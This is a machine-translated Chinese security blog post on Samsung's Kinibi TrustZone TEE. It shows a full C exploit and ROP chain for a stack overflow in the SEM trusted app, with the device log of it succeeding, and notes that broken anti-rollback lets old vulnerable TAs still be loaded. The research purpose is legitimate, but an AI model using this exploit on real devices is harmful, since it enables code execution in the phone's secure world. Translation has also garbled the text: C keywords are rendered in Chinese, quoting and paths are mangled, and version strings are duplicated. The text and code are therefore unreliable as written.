一段時間以來,Android設備和許多嵌入式系統都使用了受信任的執行環境(TEE)來託管一些安全功能(如硬件加密/密鑰,DRM,移動支付,生物識別等)。 在ARM平臺上,TEE是小型操作系統,它們使用ARM TrustZone技術將其執行與標準操作系統(例如Linux)隔離開。
TEE操作系統比Rich Execution Environment(智能手機中的REE,Android)簡單得多,並且對逆向工程很有趣。 這篇博客文章專門介紹Trustonic的TEE實施,尤其是三星爲其Exynos芯片組進行的集成。 三星最近在受信任的應用程序中修復了一個小漏洞。 在對TrustZone / Kinibi進行簡要說明之後,本文詳細介紹了此漏洞的利用。
信任區
在TrustZone體系結構中,TEE在安全的EL1異常級別上運行。 可將受信任的應用程序加載到其之上,並在安全的EL0異常級別上運行。 受信任的應用程序是經過簽名的圖像,只有在圖像簽名正確且來自受信任的開發人員的情況下,才能加載該圖像。
REE通過執行安全監視器調用(在內核模式下使用特權SMC指令)與TEE通信。 這些調用由安全監視器處理,並中繼到TEE內核。
TrustZone架構
TrustZone允許通過使用非安全標誌(NS)標記內存來將安全世界的內存與正常世界隔離。 在正常情況下運行的代碼只能訪問標記爲NS的內存。
在手機上,有3種主要的TEE實現:
- 基於Qualcomm SoC的設備上的QSEE / QTEE
- 華爲的TrustedCore
- 來自Trustonic的Kinibi
存在一個開源實現: op-tee
,此版本可以在Qemu和某些開發板上運行。
基尼比
Kinibi是Trustonic(也稱爲T-Base或Mobicore)構建的TEE實現,主要用於Mediatek和Exynos SoC。 Kinibi由多個組件組成:
- 微內核:MTK
- 運行時管理器:RTM
- 很少的內置驅動程序:加密,安全存儲,...
- 應用程序/驅動程序使用的幫助程序庫:McLib
Kinibi僅在Aarch32模式下運行。
基尼比建築
微內核以安全的EL1異常級別運行。 它提供對驅動程序和受信任的應用程序的系統調用,並強制執行任務隔離。 安全監視器中的一段代碼將SMC中斷從正常環境中繼到TEE內核,從而允許兩個環境之間進行通信。 內核還執行搶佔式調度。
運行時管理器是Kinibi的主要任務,它管理普通世界客戶端和受信任的應用程序之間的會話。 當REE客戶端打開新會話時,RTM首先檢查應用程序是否已經加載。 加載過程涉及應用程序二進制文件的簽名檢查。 還可以對應用程序二進制文件進行加密,因此RTM在加載受信任的應用程序之前對其進行解密。
驅動程序在安全的EL0異常級別運行,並且由於其二進制文件與受信任的應用程序具有完全相同的格式,因此它們將加載相同的API。 與TA相比,驅動程序可以訪問的系統調用更多。 這些額外的系統調用使驅動程序可以映射其他任務內存,物理內存,執行SMC調用等。
McLib庫爲TA和驅動程序提供了API。 它是二進制文件,映射到每個驅動程序或應用程序任務中的固定地址。 應用程序通過跳轉到r0
寄存器中具有API ID的庫入口點來使用該庫。 TA和驅動程序的功能稱爲tlApi*
而僅驅動程序的功能稱爲drApi*
。 API函數的定義可以在許多GitHub存儲庫中找到,這有助於逆向工程。
在Samsung手機上,可以從sboot.bin
輕鬆提取這些組件。 @kutyacica在ekoparty會議上提出了一種提取這些部分的好方法。 他在sboot.bin
二進制文件中找到一個表,其中包含不同組件的偏移量。 自Galaxy S6以來,此表的格式略有變化,但解壓縮二進制文件仍然很簡單。
受信任的應用程序
在大多數情況下,受信任的應用程序和驅動程序是簽名的二進制文件,但未加密,可以輕鬆進行分析。 在三星手機上,這些二進制文件存儲在/vendor/app/mcRegistry/
和/system/app/mcRegistry/
目錄中。
受信任的應用程序和驅動程序二進制文件使用的格式是MCLF
格式。 該格式記錄在trustonic-tee-user-space
GitHub項目上可用的頭文件中。 mclf-ida-loader可幫助您在IDA中加載此格式。
加載TA時,Kinibi使用MCLF頭映射TA存儲空間中的代碼,數據和bss區域。 mcLib庫映射到固定地址(Galaxy S8 / S9上爲0x07d00000
)。 打開會話時,共享緩衝區(稱爲tci
)也映射到固定地址: 0x00100000
或0x00300000
具體取決於MCLF標頭中指定的版本。
REE中的TA客戶端可以映射新的共享內存區域,這些區域映射爲0x00200000 + map_id*0x00100000
。
TA內存映射
大多數受信任的應用程序將tci
共享內存用於輸入和輸出緩衝區,前32位用作命令ID。 通常,初始化是在入口點完成的(加密初始化,堆棧cookie隨機化等),然後調用main函數。 main函數檢查共享緩衝區的大小,然後啓動主循環。 TA使用tlApiWaitNotification
(6)API等待新消息,並處理共享緩衝區的內容。 響應數據被寫入共享緩衝區,TA使用tlApiNotify
(7)API通知REE,並等待新消息。
TA開發101
即使TEE操作系統專用於安全性操作,該操作系統也沒有像ASLR / PIE這樣的安全性強化,這使得利用受信任的應用程序中的漏洞非常容易。
在G955FXXU2CRED
和G955FXXU3CRGH
(對於Galaxy S8 +)之間的某個G955FXXU2CRED
,三星修補了SEM TA( fffffffff0000000000000000000001b.tlbin
)。
該修補程序修復了0x1B
命令處理程序中直接可達到的基於堆棧的緩衝區溢出。 此外,在此TA的新版本中啓用了堆棧cookie。
/ * G955FXXU2CRED中的僞代碼* / 無效 __fastcall handle_cmd_id_0x1b ( unsigned int * tciBuffer) { // [...] 字符 v64 [ 256 ]; // [sp + 158h] [bp-770h] 字符 v65 [ 256 ]; // [sp + 258h] [bp-670h] 字符 v66 [ 200 ]; // [sp + 358h] [bp-570h] 字符 v67 [ 1024 ]; // [sp + 420h] [bp-4A8h] 字符 v68 [ 64 ]; // [sp + 820h] [bp-A8h] 字符 v69 [ 52 ]; // [sp + 860h] [bp-68h] int v70; // [sp + 894h] [bp-34h] bzero( v66,0xC8u ); bzero( v64,0x100u ); bzero( v65,0x100u ); bzero( v68,0x40u ); v4 = tciBuffer [ 2 ]; v5 = tciBuffer [ 3 ]; //具有源和長度受控的memcpy memcpy(v66, tciBuffer + 4 , tciBuffer [ 3 ]); v6 = v5 + 12 ; v7 = * ( int * )(( char * )tciBuffer + v5 + 16 ); 如果 ( tciBuffer [ 23042 ] > ( unsigned int )(v7 + 208 ) ) { snprintf(v67,0x400, “〜%18s:%4d:輸入數據通過緩衝區。” , v8,113 ); print( “ [E] SEM%s \ n ” , v67); 回報 ; } // [...]
沒有堆棧cookie,在命令處理程序中直接可以訪問基於堆棧的緩衝區溢出,這應該使您想起您的第一個漏洞利用/挑戰。
受信任的應用程序具有映射的執行代碼頁和讀寫數據頁。 Kinibi沒有像mprotect
的syscall,也不提供syscall和Trusted Applications之間的map
,因此在TA中執行任意代碼的唯一方法是對其代碼進行ROP。
爲了與TEE通信,使用了libMcClient.so
庫。 該庫提供了加載TA,打開會話,映射內存並通知受信任的應用程序的功能。 Trustonic提供了使用此庫的頭文件: MobiCoreDriverApi.h
。 在Android上,只有某些特權應用程序和具有特定SElinux上下文的應用程序可以使用TEE驅動程序。
這是一個簡單的漏洞利用,ROP在Samsung設備上打印受控日誌字符串,TEE日誌以kmsg
打印。
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys / stat.h> #include “ MobiCoreDriverApi.h” #define err(f_,...){printf(“ [\ 033 [31; 1m!\ 033 [0m]”); printf(f_,## __ VA_ARGS__);} #define ok(f_,...){printf(“ [\ 033 [32; 1m + \ 033 [0m]”); printf(f_,## __ VA_ARGS__);} #define info(f_,...){printf(“ [\ 033 [34; 1m- \ 033 [0m]”); printf(f_,## __ VA_ARGS__);} #define warn(f_,...){printf(“ [\ 033 [33; 1mw \ 033 [0m]”); printf(f_,## __ VA_ARGS__);} int main ( int argc, char ** argv) { mcResult_t ret; mcSessionHandle_t session = { 0 }; mcBulkMap_t 地圖; uint32_t stack_size; char * to_map; // ROPgadget --binary fffffffff0000000000000000000001b.tlbin \ // --rawArch arm --rawMode thumb --offset 0x1000 uint32_t rop_chain [] = { 0x38c2 +1 , // pop {r0,r1,r2,r3,r4,r5,r6,pc} 0x0 , // r0(將是要打印的字符串) 0x0 , // r1(參數,將在mcMap之後設置) 0x0 , // r2(未使用) 0x0 , // r3(未使用) 0x0 , // r4(未使用) 0x0 , // r5(未使用) 0x0 , // r6(未使用) 0x25070 + 1 // tlApiPrintf包裝器 }; 文件 * f = fopen( “ /data/local/tmp/fffffffff0000000000000000000001b.tlbin” , “ rb” ); 如果 ( ! f) { err( “無法打開TA%s \ n ” ,argv [ 1 ]); 返回 1 ; } fseek(f, 0 , SEEK_END); uint32_t ta_size = ftell(f); fseek(f, 0 , SEEK_SET); char * ta_mem = malloc(ta_size); if (fread(ta_mem, ta_size, 1 , f) != 1 ) { err( “無法讀取TA” ); 返回 1 ; } uint32_t tciLen = 0x20000 ; // TA訪問此WSM上的固定偏移量 //因此緩衝區應該足夠大 uint32_t * tci = malloc(tciLen); ret = mcOpenDevice(MC_DEVICE_ID_DEFAULT); 如果 (ret != MC_DRV_OK) { err( “無法mcOpenDevice \ n ” ); 返回 1 ; } to_map = strdup( “->來自受信任應用程序的Hello <- \ n ” ); ret = mcOpenTrustlet( & session, 0 , ta_mem, ta_size, ( uint8_t * ) tci , tciLen); 如果 (ret == MC_DRV_OK) { //將字符串映射到TA虛擬空間中,API返回 // TA空間中的地址。 ret = mcMap( & session, to_map, 40960 , (mcBulkMap_t * ) & map); 如果 (ret != MC_DRV_OK) { err( “無法映射到 \ n ” ); 返回 1 ; } ok( “ TA虛擬內存中的地址:0x%x \ n ” , map.sVirtualAddr); // rop_chain [1]爲R0,將其指向TA中的字符串 //地址空間。 rop_chain [ 1 ] = map.sVirtualAddr; stack_size = 0x54c ; //填充堆棧框架 stack_size + = 0x20 ; //彈出的寄存器大小 //填充tciBuffer tci [ 0 ] = 27 ; // cmd ID tci [ 3 ] = stack_size + sizeof (rop_chain); // memcpy大小 memcpy( & tci [ 4 + stack_size / 4 ], & rop_chain, sizeof (rop_chain)); //通知助教 mcNotify( & session); mcWaitNotification( & session, 2000 ); mcCloseSession( & session); } mcCloseDevice(MC_DEVICE_ID_DEFAULT); 返回 0 ; }
dreamlte:/#/數據/本地/ tmp / exploit_sem [+] TA虛擬內存中的地址:0x2005f0 dreamlte:/#dmesg -c | grep TEE TEE:b01 | [I] SEM [INFO]:開始SEM TA ::版本:2016.06.15.1 TEE:b01 | [E] SEM錯誤的CCM版本 TEE:b01 | [E] SEM錯誤的CCM版本 TEE:b01 | [E] SEM handleCCMDataSWP [錯誤END] TEE:b01 |->從受信任的應用程序<-您好
結論
本文顯示了在Trusted App中實現任意代碼執行有多麼容易。 SEM應用程序還包含其他重要漏洞,但是堆棧cookie限制了漏洞利用。
由於TEE提供了一種防回滾機制,因此在最新設備上,TA中的修補漏洞應該是無法利用的。 不幸的是,三星在合併與安全相關的補丁時並不總是增加版本號。 SEM TA就是這種情況,這意味着仍可以加載和利用舊版本。
在許多三星設備上,防回滾機制似乎根本不起作用(例如在S8上)。
由於攻擊者可以與安全驅動程序和TEE內核syscall進行交互,因此在受信任的應用程序中獲得代碼執行會大大增加攻擊面。